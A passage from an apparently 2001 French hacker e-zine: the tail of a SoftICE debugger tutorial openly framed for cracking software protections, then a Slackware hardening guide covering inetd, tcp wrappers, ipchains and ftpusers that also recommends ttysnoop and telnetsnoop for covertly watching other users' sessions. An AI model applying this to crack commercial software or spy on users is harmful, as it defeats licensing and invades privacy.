+--------------------- Overflow  Flag

C: Si aprs une instruction de calcul il y a une retenue ce registre est
    1  sinon il est  0.
P: Si aprs une opration le rsultat  un nombre pair de bits  1 alors
   il  est  1 sinon  il est   0. ex: 11101101 ici ont  6 1 donc c'est
   pair le flag est  1.
A: Relier au carry flag.
Z: Si ce flag est  1 c'est que le rsultat de l'opration gale 0 sinon
   il est mit  0. ex: 5-5 = 0 le rsultat est 0 donc le bit est  1.
S: Si ce  flag est  0  c'est que le rsultat de l'opration est positif
   sinon c'est
   qu'il est ngatif !
I: Permet d'empcher les interruptions de se dclencher.
D: Sert dans les copies mmoires.
O: Lors  d'oprations  sur des  nombres signs si  le rsultat  est plus
   grand que le  registre qui  contient le rsultat ce bit est  1 sinon
   c'est 0.

------------------------------------------------------------------------

La fentre des datas, On affiche cette fentre avec la commande WD.

Voici  quoi ressemble la fentre des datas:

   DS:ADDR     HEXADECIMAL                                     DATA
+------------------------------------------------[ byte ]----------------+
|0000:FFFFFFF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF3 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF5 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF6 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
|0000:FFFFFFF8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... |
+------------------------------------------------------------------------+

Cette  fentre  affiche  les  adresses,  le  code  hexadcimal  et  leur
quivalent ascii. Vous pouvez dfiler la fentre des datas en tout temps
avec les  flches, pageup,  et pagedown  en tenant  enfoncer ALT en mme
temps.


Il y a plusieurs faons de reprsenter l'information mmorielle.

Voici ces reprsentations <Unit = commande + ex:>:
       Byte    = db ex: db EAX
       Long    = dl ex: dl EAX
       Dword   = dd ex: dd EAX
       Word    = dw ex: dw EAX
       Short   = ds ex: ds EAX
       10 byte = dt ex: dt EAX
En gnrale on  utilise le mode Byte(8bits) mais utilisez celui qui vous
chante.

Pour afficher le contenue d'une adresse il suffit d'utiliser la commande
"D <adresse ou registre>".

Quelque exemple:
       D EBX      ; affiche le contenu de EBX.
       D 00040000 ; affiche le contenu de l'adresse 00040000.

Pour diter l'hexadcimal ou le data utilisez la commande
"E <adresse ou registre>.

Quelque exemple:
       E EBX      ; positionne un curseur  l'emplacement mmoire de EBX
                    nous laissant le plein  pouvoir de l'diter comme on
                    le veut.
       E 00040000 ; positionne  un  curseur  l'emplacement  mmoire  de
                    0040000 nous  laissant le plein pouvoir de  l'diter
                    comme on le veut.

       nb: pour pouvoir diter le data utiliser la touche TAB.

La fentre de code, On affiche cette fentre avec la commande WC.

Voici  quoi ressemble la fentre de code:

   CS:ADDR    OPCODE ASM
+----------------------------------------------------------------------+
|0028:FFFFFFFF  C3   RET                                               |
|0028:FFFFFFFF  C3   RET                                               |
|0028:FFFFFFFF  90   NOP                                               |
|0028:FFFFFFFF  90   NOP                                               |
|0028:FFFFFFFF  90   NOP                                               |
|0028:FFFFFFFF  90   NOP                                               |
|0028:FFFFFFFF  90   NOP                                               |
+----------------------------------------------------------------------+

Cette fentre affiche les adresses,  le code hexadcimal (OPCODE) et  le
code ASM. Vous pouvez  dfiler la fentre des  datas en tout temps  avec
les flches, pageup, et pagedown en tenant enfoncer CTRL en mme temps.

Pour diter l'hexadcimal ou le data utilisez la commande "E <adresse ou
registre>.

Quelque exemple:
       A          ; permet de changer la commande ASM sur l'adresse que
                    le surligneur est positionn.
       A EAX      ; permet de changer la commande ASM que le registre
                    EAX pointe.


videment quand vous voyez le code  il est fixe (en arrt) et  vous avez
une ligne qui surligne. Nous avons  donc notre fentre de code et  notre
ligne  de  surlignement,  cette  ligne est  en  faite  un  marqueur pour
indiquer  quel  ligne de  code  nous sommes rendu    excuter. Tracer,
tracer c'est l'art  d'excuter le programme  ligne par ligne  de faon 
voir le code ce  qui nous permet de  l'interprter en mme temps  que le
processeur.

Pour tracer il y a 2 touches:

 F8: Cette touche va tracer le programme en entrant dans les calls, les
     calls sont des fonctions appeles.
F10: Cette touche va tracer le programme sans entrer dans les calls.

La dernire fentre n'est qu'une  fentre d'info avec quoi Softice  nous
communique des messages et c'est dans cette mme fentre que  l'on  tape
les commandes.  Il y  a d'autres  fentres plus  ou moins importante que
vous pourrez   faire  apparatre   avec  les   commandes  suivante,   WF
pour la Floating Point Window,  WMSG pour la  Windows Messages, WS  pour
la Call Stack Window, WW pour la Watch  Window et WX pour la PII  XMM
registres, les autres nous les avons vu plus haut.


Les FKeys, Softice  des FKeys bien propre  lui avec le temps ils  sont
devenus un standard en cracking alors ne les changez pas si possible car
ils sont configurable dans le fichier winice.dat.

F1(Help): Aide
F2(WR)  : Affiche la fentre des registres ou la cache.
F3(SRC) : Change pour la source, mixer et code.
F4(RS)  : Voir l'arrire plan que Softice cache.
F5(X)   : Quitter Softice.
F6(EC)  : Aller de la fentre de code  la fentre de commande.
F7(HERE): Aller au curseur activer.
F8(T)   : Tracer en entrant dans les calls.
F9(BPX) : Poser un point d'arrt sur la ligne surligner.
F10(P)  : Tracer sans entrer dans les calls.
F11(G @SS:ESP) : Sortir du call.
F12(P RET)     : Met un point d'arrt aprs le ret.

Alt+F1(WR)     : Affiche la fentre des registres ou la cache.
Alt+F2(WD)     : Affiche la fentre des datas ou la cache.
Alt+F3(WC)     : Affiche la fentre du code ou la cache.
Alt+F4(WW)     : Affiche la fentre des "Watch" ou la cache.
Alt+F5(CLS)    : Efface la fentre de commande.
Alt+F8(XT R)   : Entre dans le mode de traage.


Les points d'arrt, ce qu'il fait  la force de Softice est srement  les
points d'arrt, je vais vous dcrire les diffrents points d'arrt et
vous donner les commandes rattaches  eux et des exemples.

Les points d'arrt sur les  excutions, grce  eux nous  pouvons mettre
des points d'arrt sur des api  ou des adresses ce qui nous   facilitent
la tche beaucoup plus, au lieu de tracer jusqu' tel et tel api nous
avons juste  lui mettre un point d'arrt.

BPX (Break Point On Execution)
BPX address [IF expression] [DO bp-action]

Quelque exemple:
    BPX GetDlgItemTextA ; met un point d'arrt sur l'api GetDlgItemTextA
    BPX 00040000        ; met un point d'arrt sur l'adresse 00040000
    BPX EAX             ; met un point d'arrt sur le registre EAX

BL (List current breakpoints)
BL
pour avoir la liste des points d'arrt qui sont en cours d'utilisation.

BC (Clear breakpoint)
BC list | *
pour effacer tous les points  d'arrt utiliss BC *, pour  effacer qu'un
point d'arrt utilis BC list dont la liste est donne par BL (ex: BC
00).

BD (Disable Breakpoint)
BD list | *
pour dsactiver tous les points  d'arrt utiliss BD *, pour  dsactiver
qu'un seul point d'arrt utilis BD list dont la liste est donne par
BL (ex: BD 00).

BE (Enable Breakpoint)
BE list | *
pour activer tous les points  d'arrt utiliss BE *, pour  activer qu'un
seul point d'arrt utilis BE list dont la liste est donne par BL (ex:
BE 00).


Les points d'arrt sur la mmoire,  grce  eux nous pouvons mettre  des
points  d'arrt direct  sur la  mmoire de  cette manire  nous pouvons
savoir quand tel et tel adresse ou registre  tel et tel data.

BPM (Breakpoint on Memory)
BPM[size] address [R|W|RW|X] [debug register] [IF expression] [DO bp-action]

Le paramtre size fait rfrence au grandeur en bits, Byte, Word, Dword,
l'access du programme lui peut tre R(read), W(write), RW(read & write),
X(execution). La mmoire est un peut plus complexe quand vient le  temps
de mettre des points d'arrt,  car il faut calculer la  mmoire linaire
et non juste le seg:offset  original. Pour calculer ceci il  vous faudra
d'abord utiliser la commande  "PAGE", elle s'utilise d'une  faon simple
"PAGE  seg:offset"  exemple:  PAGE 0030:007004CB  ainsi  a  retourne la
mmoire linaire qui est 007004CB, dans ce cas si elle est pareille mais
dans d'autre cas elle sera diffrente, ensuite pour mettre le point
d'arrt mmoire il faut faire BPM 0030:addr linaire.

Exemple:
    BPM 0030:007004CB ; met un point d'arrt sur la zone mmoire 0030:007004CB


Les points  d'arrt sur  les interrupteurs,  ils sont  rarement utiliss
mais peuvent  tre trs  utiles. Un  interrupteur on  pourrait dire  que
c'est des  procdures pr  crit interne  au processeur,  elles ont tout
leur rle  jouer et peuvent tre intressantes quand viens le temps  de
cracker car beaucoup d'interrupteur sont utiliss sans que l'on ne  s'en
aperoit.

BPINT (Breakpoint on Interruption)
BPINT interruption-number [IF expression] [DO bp-action]

Exemple:
    BPINT 21 AH=00    ; met un point d'arrt sur l'interruption qui dit
                        au systme d'exploitation que le programme
                        prsent est termin et qu'il doit tre rendu au
                        programme d'appel.

     nb: je netterrai un .hlp sur notre site web qui contient tous les
         interrupteurs.


Les points d'arrt sur les Windows Messages, ce sont des points d'arrt
trs important et utile quand nous sommes mal pris.

BMSG (Bream on Windows Message)
BMSG hwnd [L] [begin-msg [end-msg]] [IF expression]
hwnd est le handle de la fentre  pour avoir tous les hwnd il suffit  de
taper HWND  dans Softice  vous aurez  ainsi la  liste, vous pouvez aussi
utiliser HWND  programme.exe il  vous donnera  la liste  de sens  handle
personnel. Pour ceux qui ne connaissent pas c'est quoi un handle et bien
c'est des tiquettes numriques donnes aux objets de faon  les
identifis.

Exemple:
    BMSG 0888 WM_QUIT    ; met un point d'arrt le msg WM_QUIT du
                           handle 0888.

     nb: pour ceux qui ne connaissent pas les WinMSG je ferrai un petit
         texte bientt.

Les  expressions,  elles aident beaucoup  augmenter la  prcision d'une
commande  qui supporte  le [IF  expression], de  cette manire  nous  ne
faisons plus que mettre des points  d'arrt sur un api gnral qui  peut
tre nommer  des dizaines  de fois,  nous pouvons  mettre une expression
pour augmenter la prcision de ce mme point d'arrt et donc n'avoir qua
le traiter qu'une seule foi au lieu d'une dizaine de fois.

Voici la liste des instructions disponibles:
+----------------------------------------------------------------------+
|Oprateur d'indirection                                               |
|                                                                      |
|             Ex:    Description:                                      |
| ->          ebp->8 retourne le dword point par ebp+8)               |
|  .          ebx.8  retourne le dword point par ebx+8)               |
|  *          *ecx   retourne la valeur dword pointe par ecx          |
|  @          @eax   retourne la valeur pointe par eax                |
|                                                                      |
+----------------------------------------------------------------------+
|Oprateur mathmatique                                                |
|                                                                      |
|             Description:                                             |
|  /          Division                                                 |
|  %          Modulo                                                   |
|  << ou >>   Dcalage de bits                                         |
|  ?+         Addition d'un nombre en base dcimal                     |
|  ?-         Soustraction d'un nombre en base dcimal                 |
|                                                                      |
+----------------------------------------------------------------------+
|Oprateurs logiques                                                   |
|                                                                      |
|             Description:                                             |
|  !          NOT logique                                              |
|  &&         AND Logique                                              |
|  ||         OR Logique                                               |
|  ==         Comparaison d'galit                                    |
|  !=         Comparaison d'ingalit                                  |
|  <          Plus petit que                                           |
|  >          Plus grand que                                           |
|  <=         Plus petit que ou gal                                   |
|  >=         Plus grand que ou gal                                   |
|                                                                      |
+----------------------------------------------------------------------+


Voici la liste des fonctions disponibles:
+----------------------------------------------------------------------+
|  Fonction                                                            |
|                                                                      |
|             Description:                                             |
|  Byte       Conversion en Byte.                                      |
|  Word       Conversion en Word                                       |
|  Dword      Conversion en DWord                                      |
|  Hibyte     Conversion en HiByte                                     |
|  Hiword     Conversion en HiWord                                     |
|  Sword      Conversion en Word Sign                                 |
|  Long       Conversion en Long Sign                                 |
|  WSTR       Affiche la chane unicode                                |
|  Flat       Conversion d'une adresse relative  une adresse linaire.|
|                                                                      |
|  CFL        Carry flag                                               |
|  PFL        Parity flag                                              |
|  AFL        Auxiliary flag                                           |
|  ZFL        Zero flag                                                |
|  SFL        Sign flag                                                |
|  OFL        Overflow flag                                            |
|  RFL        Resume flag                                              |
|  TFL        Trap flag                                                |
|  DFL        Direction flag                                           |
|  IFL        Interrupt flag                                           |
|  NTFL       Nested Task flag                                         |
|                                                                      |
|  DataAddr   Retourne l'adresse du premier lment affich dans la    |
|             zone de data.                                            |
|  CodeAddr   Retourne l'adresse de la premire instruction affiche   |
|             dans la zone de code.                                    |
|                                                                      |
|  Process    Process actif.                                           |
|  Thread     Thread actif.                                            |
|                                                                      |
|  PID        Id du processus actif                                    |
|  TID        Id du thread actif                                       |
|                                                                      |
|  BPcount    Nombre de point d'arrt activ                           |
|  BPtotal    Nombre total de point d'arrt                            |
|  BPmiss     Nombre de point d'arrt chou                           |
|  BPindex    Index du point d'arrt actuel                            |
|                                                                      |
+----------------------------------------------------------------------+

Les conditions, elles  sont utiliss pour  augmenter la prcision  de la
commande. Les 2 tableaux plus hauts nous montrent les expressions et les
fonctions que nous  pouvons utiliser dans  ces conditions. je  vais vous
faire quelques exemples, ces exemples sont trs rvlateurs.

Exemple:
    BPX EIP if(EAX==48) && (BPCOUNT==3) ; ce point d'arrt s'arrtera au
                                          moment que EAX aura 30d (0x48)
                                          comme valeur et que a ferra 3
                                          fois qu'il aura eu cette
                                          valeur ci.

En conclusion  Softice est  un outil  trs prcieux  quand il  s'agit de
dcouvrir  les  petits  secrets  des  programmes,  que  les   compagnies
inventent des protections comme du  code encrypt, du code  compress ou
du  code   polymorphique,  Softice   sera  toujours   capable  de    les
contourner mme avec les nouvelles protections contre Softice je vous en
parlerai dans un prochain texte. Tout ce que les compagnies font c'est
d'augmenter notre temps de cracking...

:.                                                             :.     .:
:::30.Avril.2001::.............................................::Naxis::


.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'







         <  Before each night  is  done
            Their plan will be unfurled
            By the dawning of  the  sun
            They'll take over the world  >






                                                                  .--.

.----------------------------------------------------------------/  /--. 
|  Armoring Slackware                                           /  /   |
|     a k a                                                    /  / 05 | 
| Roger Cadorette, consultant en scurite                    /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

Votre premier rflexe en lisant ce titre,  sera  surement  "RIPPEUR,  y'a
dj  un article paru sur le nom de armoring  linux  (red hat)," he, oui,
je sais, je l'ai  lu  moi  aussi  "heye,  il  avoue sont crime". Je  vous
l'accorde,  beaucoup de sujet  traits  ici sont  aussi  approchs   dans
le text  armoring  linux  original.  Mais il existe une diffrence majeur
entre le  texte  qui  suit  et  son homonyme, alors, que armoring   linux
se contente de vous  dire  quoi faire, moi je vous dis  en  plus  comment
faire, p-e que  Lance  Spitzner a  manquer  de   papier   virtuel   et  a
voulu  raccourcir sa  cration ( un  peu comme dans la nouvelle  au  prix
du papyrus de Isaac Asimov  ou  Moise   raccourcie   les   15   milliards
d'annes de  la  genese a 7 jour par  manque  de  papier  et  de  volont
d'crire). Enfin, je suis mauvais joueur moi aussi,  car  si  je  voulais
discuter de scurit sur tout  ses  angles  j'aurais  un  bon  bouquin  a
crire, je vais me  contenter  d'une  vingtaine   de  K   durant   lequel
j 'approfondirai 6 grands points  de  la  scurit  sur  une  workstation
linux. je  me  limiterai aux workstations pour la   bonne  raison  que je 
cherche  pas  a   vous   donnez   une  formation  d'admin  rseau,   mais
simplement quelques trucs  pratiques  pour vous  protgez. videmment, il
existe (d'apres la lgende) des hackers  que  rien  n'arrte,   mais  les
rgles suivantes devrais suffire a tenir en respect une  grande  majorit  
des dit hackers. Comme les  choses  voluent  et  que  mes  connaissances
augmentes avec le temps, je publierai p-e d'autres articles sur le  sujet
dans les prochains. Mindkind, mais  ne  tenez  pas  cette  promesse  pour 
acquise, je le ferais que si j'ai envie de le faire,  autrement  dit,  ce
que je fais, je le fais  parce  que  ca  me  fais  plaisir de  le  faire.  
bon,  j'ai fini  de vous  coeurez avec mes  explications,  passons  donc
au salon (la thorie).




     Step 1, Shutdown useless deamons
     
     
     C'est un  principe  connu, le nombre  de  possibilits  de   hacking
est proportionnelle au nombre  de  service  qui  est offert  au   public.
videmment il  serait dur de se  passer  de  ftp  et  de  telnet, mais si 
vous n'offrez  aucun  service a  une  communaut   quelconque  d'usagers,
aussi bien ne pas dmarrer  ceux  si,  au pire des cas,  si  jamais  vous
en  avez  besoin  par  la suite, leur re-activation se fera en 1 tour  de
rein :].


En  root  taper  pico  /etc/inetd.conf   (si  vous  avez pas pico, allez
installer le package de pine sur linuxmafia.org, pico stun must :]) a pi
prennez donc l'editeur qui vous plait, j'en ai rien a cirrer.

Commenter (#)  les  lignes  suivantes  si  ce n'est pas dejas fait, sauf 
videmment si vous avez besoin du service  (un * indique les lignes  qui
sont generalement pas # par default):


# shell  stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd -L     *
# login  stream  tcp     nowait  root    /usr/sbin/tcpd  in.rlogind     *
# exec  stream  tcp     nowait  root    /usr/sbin/tcpd  in.rexecd
# talk  dgram   udp     wait    root    /usr/sbin/tcpd  in.talkd 
# ntalk  dgram   udp     wait    root    /usr/sbin/tcpd  in.talkd       *

# klogin        stream  tcp     nowait  root    /usr/sbin/tcpd  rlogind -k
# eklogin       stream  tcp     nowait  root    /usr/sbin/tcpd  rlogind -k -x
# kshell        stream  tcp     nowait  root    /usr/sbin/tcpd  rshd -k     

# krbupdate     stream  tcp     nowait  root    /usr/sbin/tcpd  registerd
# kpasswd       stream  tcp     nowait  root    /usr/sbin/tcpd  kpasswdd   

# pop2  stream  tcp     nowait  root    /usr/sbin/tcpd  in.pop2d 
# pop3   stream  tcp     nowait  root    /usr/sbin/tcpd  gnu-pop3d      *

# pop3  stream  tcp     nowait  root    /usr/sbin/tcpd  ipop3d
# imap2   stream  tcp     nowait  root    /usr/sbin/tcpd  imapd         *

# tftp  dgram   udp     wait    nobody  /usr/sbin/tcpd  in.tftpd
# bootps        dgram   udp     wait    root    /usr/sbin/in.bootpd     in.bootpd   

# finger stream  tcp     nowait  nobody  /usr/sbin/tcpd  in.fingerd -u  *
# systat        stream  tcp     nowait  nobody  /usr/sbin/tcpd  /bin/ps -auwwx
# netstat       stream  tcp     nowait  root    /usr/sbin/tcpd  /bin/netstat    -a  

# netbios-ssn     stream  tcp     nowait  root    /usr/sbin/smbd  smbd  
# netbios-ns      dgram   udp     wait    root    /usr/sbin/nmbd  nmbd 

# rstatd/1-3    dgram   rpc/udp wait    root    /usr/sbin/tcpd  rpc.rstatd
# rusersd/2-3   dgram   rpc/udp wait    root    /usr/sbin/tcpd  rpc.rusersd
# walld/1       dgram   rpc/udp wait    root    /usr/sbin/tcpd  rpc.rwalld 


Ensuite  nous allons changer telnet pour telnetsnoop. Nous pourrons  par
la suite, spyer les faits  et  geste  de tout ceux qui se connecterons a 
notre box.

# telnet stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd     *
telnet  stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetsnoopd  

(notez  qu'une  connection   telnetsnoop  bouffe  plus  de  ram   qu'une  
connection telnet normal, donc  si  vous  etes avare de votre  precieuse 
ram,  oublier cette derniere option.) 

sauvegarder et quitter, 


     Step 2, ttysnooping 
     
     
la premiere etape est de savoir qui est connect, vous  pouvez  obtenir 
cette information  grce a  la commande finger ou who. personnellement je
prfre finger qui donne plus  d'information  (genre l'ip source),  mais 
tout ce que nous avons besoin de savoir pour ttysnoop c le tty  utilis
par notre "ami" connect.


et: 

root@rewter:/home/wyzeman# finger
Login     Name       Tty      Idle  Login Time   Office     Office Phone
Mindkind             tty3    14:38  Jan 15 14:17
root                 tty1        3  Jan 16 00:55
root                 tty2    13:21  Jan 15 13:00
wyzeman              ttyp0          Jan 16 12:54 (192.168.1.2)   


root@rewter:/home/wyzeman# who
root     tty1     Jan 16 00:55
root     tty2     Jan 15 13:00
Mindkind tty3     Jan 15 14:17
wyzeman  ttyp0    Jan 16 12:54      


avantage de who, ca prend moins de place :]

par exemple si je voulais surveiller le malveillant wyzeman  qui  c'est
logger,  je  n'aurais  qua  tapez  de  facon  dcontract  la  commande  
suivante:

root@rewter:~# ttysnoop ttyp0
Connected to ttyp0 snoop server...
Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate.
Snoop password:                                         /*password root*/
Verified OK... Snoop started.
 
wyzeman@rewter:~$ 

tout ce que vous taperez dans se tty, sera vu par wyzeman, donc si  vous
ne voulez  pas  vous   faire  remarquer  faite  gaffe  a  votre  clavier
(apres tout s'pas le  temps  de faire su et de marquer votre password au
mauvais moment au mauvais endroit:]) si vous voulez discuter avec  votre
visiteur, je vous  conseil  d'ouvrir un diteur de texte  (genre  pico),
pour  viter les trop nombreux :


wyzeman@rewter:~$ salut
bash: salut: command not found
wyzeman@rewter:~$           

si vous voyez ce que je veux dire. 


     Step 3 tcp-wraping 
     
     
le tcp wrapping  se fait avec l'aide de 2 fichiers, soit, hosts.deny  et 
hosts.allow c'est avec ces fichiers que  l'on va indiquer avec  qui   on
est prt a ngocier. L'cole de  pense  la   plus  frquente  veut  que
l'on renie tout le monde dans le fichier hosts.deny et qu'on indique qui
qu'on accepte  dans  le  fichier hosts.allows. alors  commenons  par le
commencement et  disons adieu a tout le monde.

su
pico /etc/hosts.deny
ne reste plus qu'a ajouter la ligne suivante dans le fichier

ALL:ALL

sauvegarder et quitez
A
maintenant ditons le fichier hosts.allow

ALL:LOCAL 
# pour accepter toute les connections de localhost (vous meme)
ALL:192.168.1.1/255.255.255.0 
# pour accepter toute les connections d'un rseau local  (notez  que  si
# vous etes en masquerading derriere un serveur,  c'est  plutot useless.
# Ca revient a dire, tout le  monde  peu  passer ( puisque  l'ip  source
# se modifie pour l'ip de votre routeur avant d'arriver a vous.
in.telnetd,in.ftpd:ALL 
# accept les connection telnet et ftp venant de partout
in.telnetd, in.ftpd:192.168.1.1/255.255.255.0
# pour les connection telnet et ftp venant de votre reseau local

vous avez saisi  le  principe ?  la premiere  partie indique le  service 
(all  pour   tout  les   services)  et  la  2e  parti  les ip   accepts
(192.168.1.1/255.255.255.0  represente tout le submask que  192.168.1.x)

c'est tres pratique lorsque  l'on  connat d'avance les ips qui auront a
traiter  avec notre ordinateur. Pour plus de scurit si  vous  possdez
plusieurs ordis sur le meme rseau et que vous voulez vous connecter  de
votre  ecole par exemple , bien n'autoriser l'access a votre  telnet que
d'une  3e  machine  sur votre rseau (autrement dit, vous vous connectez
sur votre rooteur, de votre  rooteur  a  votre  tiers ordi, et  de celui
ci a votre ordi. Comme ca, personne ne pourra utilis votre rooteur pour
atteindre directement votre ordi.

     
in.telnetd: 192.168.1.3         


(note:  si  vous  utilisez  telnetsnoop  au  lieu  de  telnet, remplacez
in.telnetd  par  in.telnetsnoopd . si  vous  n'etes pas  sur des noms de
deamons a utiliser referez vous au fichier /etd/inetd.conf)



     Step 4 ipchains 
     
vous savez ce qui est kewl avec ipchains, c'est que vu  de  loin   ca  l'air
terriblement compliqu,  alors que c'est  simple  comme  bonjour,  alors  en
mettant un peu d'efforts on peu rire de ceux qui save pas comment a marche.
Peu importe ce que vous diras man ipchains ou ipchains -h vous avez en  gros
4 commande a retenir :

ipchains -A  pour creer une regle
ipchains -D  pour effacer une regle
ipchains -L  pour faire la list de vos regle
ipchains -F  pour flusher tout vos regles (quand -d ne suffit plus :])


dmontrons ds maintenant l'utilit de ipchains -l 

root@rewter:~# ipchains -L
Chain input (policy ACCEPT):
target     prot opt     source                destination           ports
DENY       icmp ------  anywhere             anywhere              any ->   any
ACCEPT     udp  ------  anywhere             anywhere              27927 ->   any
ACCEPT     udp  ------  anywhere             anywhere              29727 ->   any
ACCEPT     udp  ------  anywhere             anywhere              domain ->   any
ACCEPT     udp  ------  anywhere             anywhere              4000 ->   any
DENY       udp  ------  anywhere             anywhere              1:1024 ->   any
DENY       udp  ------  anywhere             anywhere              2000:35535 ->   any
ACCEPT     tcp  ------  anywhere             anywhere              ftp ->   any
ACCEPT     tcp  ------  anywhere             anywhere              telnet ->   any
ACCEPT     tcp  ------  anywhere             anywhere              www ->   any
ACCEPT     tcp  ------  anywhere             anywhere              auth ->   any
ACCEPT     tcp  ------  anywhere             anywhere              1024:5000 ->   any
ACCEPT     tcp  ------  anywhere             anywhere              6660:6667 ->   any
DENY       tcp  ------  anywhere             anywhere              2:1023 ->   any
DENY       tcp  ------  anywhere             anywhere              10001:35535 ->   any
Chain forward (policy DENY):
target     prot opt     source                destination           ports
MASQ       all  ------  anywhere             anywhere              n/a
Chain output (policy ACCEPT):                                      


il existe 3 lois chaine principales pour ipchains: input, forward, output

input = ce qui rentre
forward = ce que vous faites passer 
output = ce qui sort

si vous voulez faire du masquerading caster tout de suite cette rulez:

ipchains -A forward -j MASQ

ce  qui veut dire, ipchains creer une loi (A) dans la chaine forward qui 
va faire du masquerading (-j MASQ). Bon ben  maintenant  que nous sommes 
rendu  des gros ingenieur reseau full hot on va diriger le trafic :]

ipchains -A input -p icmp -j DENY
ipchains -A input --sport 27927 -p udp -j ACCEPT
ipchains -A input --sport 29727 -p udp -j ACCEPT
ipchains -A input --sport 53 -p udp -j ACCEPT
ipchains -A input --sport 4000 -p udp -j ACCEPT
ipchains -A input --sport 1:1024 -p udp -j DENY
ipchains -A input --sport 2000:35535 -p udp -j DENY
ipchains -A input --sport 21 -p tcp -j ACCEPT
ipchains -A input --sport 23 -p tcp -j ACCEPT
ipchains -A input --sport 80 -p tcp -j ACCEPT
ipchains -A input --sport 113 -p tcp -j ACCEPT
ipchains -A input --sport 1024:5000 -p tcp -j ACCEPT
ipchains -A input --sport 6660:6667 -p tcp -j ACCEPT
ipchains -A input --sport 2:1023 -p tcp -j DENY
ipchains -A input --sport 5001:35535 -p tcp -j DENY     

ce sont  les  lois  qui ont cr ce que vous  a dmontr plus  haut  la
commande ipchains -L. Dcortiquons on peu ce qu'elles veulent dire:


ipchains -A input -p icmp -j DENY

ipchains cre une loi(-A) pour  ce  qui rentre (input( qui  refusera  (-j
deny)  le  protocole icmp (-p icmp) comme aucun port ou ip n'est spcifi 
ipchains  prend  par dfaut tout (tout les ip et tout le port  ne  laisse
pas entrer le icmp).


ipchains -A input --sport 27927 -p udp -j ACCEPT
ipchains -A input --sport 29727 -p udp -j ACCEPT

on voit ici que j'aime jouer a quake2, ipchains  laisse  passer  tout ce 
qui est  du protocol udp sur les port 27927  et  29727.  contrairement a
tcp-wrap on doit indiquer ce qu'on laisse  passer avant ce qu'on ne veut 
pas  laisser  passer  (donc  par  la suite on voit que je ferme tout les
port  udp,  mais  en  ralit,  tout ceux que j'ai dit de laisser passer
avant  demeureront  ouvert.  c'est  vrai  aussi  pour  l'inverse,  si je
fermerais les port au dbut,  j'aurais  beau  faire  400  loi  pour  les
ouvrir aprs, ils resteraient ferms.



Vous pouvez aussi dcider d'tre plus slectif sur vos loi en  indiquant  
un ip, ou un range de ip particulier.  ca  sert  gnralement  a  donner  
des  privilges  suprieurs  a  certain  usager de votre rseau. ou a en 
rendre la  progression  un  peu  plus  compliquer a l'intrieur de votre 
rseau. On peut dcider a quel ip la loi va s'appliquer avec la commande
suivante.

ipchains -A input --source 192.168.1.1/192.168.1.10 23 -p tcp -j DENY

cette rgle bloquera toute les tentatives de connexions a votre serveur, 
a  partir des poste  de  travaille  192.168.1.1 a 192.168.1.10  seul les
postes de travaille avec un  ip  plus haut  que  192.168.1.10 pourraient
alors se connecter au telnet.


 

     Step 5  Show me the log 
    
petit truc avant de terminer afin de pouvoir toujours garder un oeil sur
les  connexion  qui  se  font sur votre pc et/ou votre serveur. en  root
taper :
tail -f /var/log/messages  
vous  aurez ainsi un beau display des connexions qui se feront sur votre 
ordi.  Si  vous  voulez  tre  uber   elite,  vous  pouvez   inclure  la
commande  suivante  dans  votre  fichier   /etc/inittab   qui  permettra
d'effectuer le meme effet au dmarrage de votre machine (usefull dans le
cas d'un serveur)

    
1:2345:respawn:/usr/bin/tail -f /var/log/messages

(1  reprsente  le  tty  voulu (vous pouvez changer pour celui que vous 
voulez (tty = l'cran de sorti (genre alt-f1 alt-f2 etc.))))


     Step 6 ftp, la porte d'entre principale
     
     
la  plus  par des distributions linux, vienne avec un  gros  dfaut,  un
ftpd aux allures de passoire. il  existe  2 trucs simples pour scuriser
votre ftpd, 1 limiter sont accs au user qui en on vraiment  besoin,  et
2 en mettre un moins standard afin d'viter de  tomber  dans  les  mains
de quelqu'un qui vous scannerait  par  hazard  a  la  recherche un  ftpd
comme le votre, oserais-je dire wu-ftpd 2.6.0 ?

La premire  tape,  tant  de limiter le nombre de user ayant  accs  a
votre ftp, et de limiter l'importance de  ceux  ci,(c'est a dire qu'on a
pas besoin d'tre  root  pour  transfrer  des  fichiers,  donc  on  peu
empcher le root  de  se  connecter par ftp  (ici  on  voit  en   grosse
l'etre  lumineuse (BRUTE  FORCING).  dirigeons  nous  donc  dans   notre
fichier /etc/ftpuser . NOTER que ce fichier sert a dterminer les  users
qui N'ONT PAS DROIT d'accs au  ftp,  et  non  le contraire  comme  sont
nom pourrais induire en erreur. 
Voici ce que contient mon fichier /etc/ftpuser :


#
# ftpusers      This file describes the names of the users that may
#               _*NOT*_ log into the system via the FTP server.
#               This usually includes "root", "uucp", "news" and the
#               like, because those users have too much power to be
#               allowed to do "just" FTP...
#
# Version:      @(#)/etc/ftpusers       2.00    04/30/93
#
# Author:       Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org
#
# The entire line gets matched, so no comments or extra characters on
# lines containing a username.
#
root
uucp
news
anonymous
guest
operator   

pour  vous aidez  a faire des choix judicieux, n'hsitez pas a  consulter  
votre /etc/passwd.

Maintenant, nous  allons  dsinstaller  wuftpd  afin  d'installer quelque 
chose  de  plus  convivial,  ncftpd  que  nous pouvons downloader sur  le 
site: www.ncftp.com

Les avantages de ncftpd, compar  aux  autres ftpd  plus connus est  que
vous risquez moins de vous faire sautez un exploit en  pleine  face,  et
que vous  n'avez  pas  besoin  de  crer de nouveau usager (adduser) sur 
